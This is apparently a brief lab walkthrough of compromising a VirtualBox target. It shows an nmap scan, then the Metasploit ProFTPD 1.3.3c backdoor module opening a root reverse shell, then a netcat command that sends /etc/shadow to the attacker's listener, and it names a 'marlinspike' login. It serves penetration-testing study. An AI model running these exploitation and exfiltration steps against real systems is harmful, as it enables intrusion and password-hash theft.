

Stage 1

The following information was found on ports:

21 using the ftp service with ProFTPD 1.3.3c

22 using the ssh service running OpenSSH 7.2p2

80 using the http service running Apache httpd 2.4.18

```
(kali@kali)-[~]
$ nmap -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-22 05:21 EDT
Nmap scan report for 
Host is up (0.000075s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:75:3D:10 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.02 seconds
```

Stage 2

ProFTPD has a backdoor vulnerability on version 1.3.3c

```
16 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent
No ProFTPD-1.3.3c Backdoor Command Execution
```

Stage 3

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP double handler on :4444
[*] :21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 88Eg9HJiJKC3rXqP;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "88Eg9HJiJKC3rXqP\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ( :4444 → :39872) at 2025-06-22 07:04:03
-0400

whoami
root
```

Stage 4

Target's machine:

Nc IP port < etc/shadow

```
nc [redacted] 4444 < etc/shadow
```

Attacker's machine:

```
(kali㉿kali)-[~]  
$ nc -lvp 4444 > /home/kali/shadow -n  
listening on [any] 4444 ...  
connect to [redacted] from (UNKNOWN) [redacted] 39856
```

Target's machine with the user marlinspike and password marlinspike:

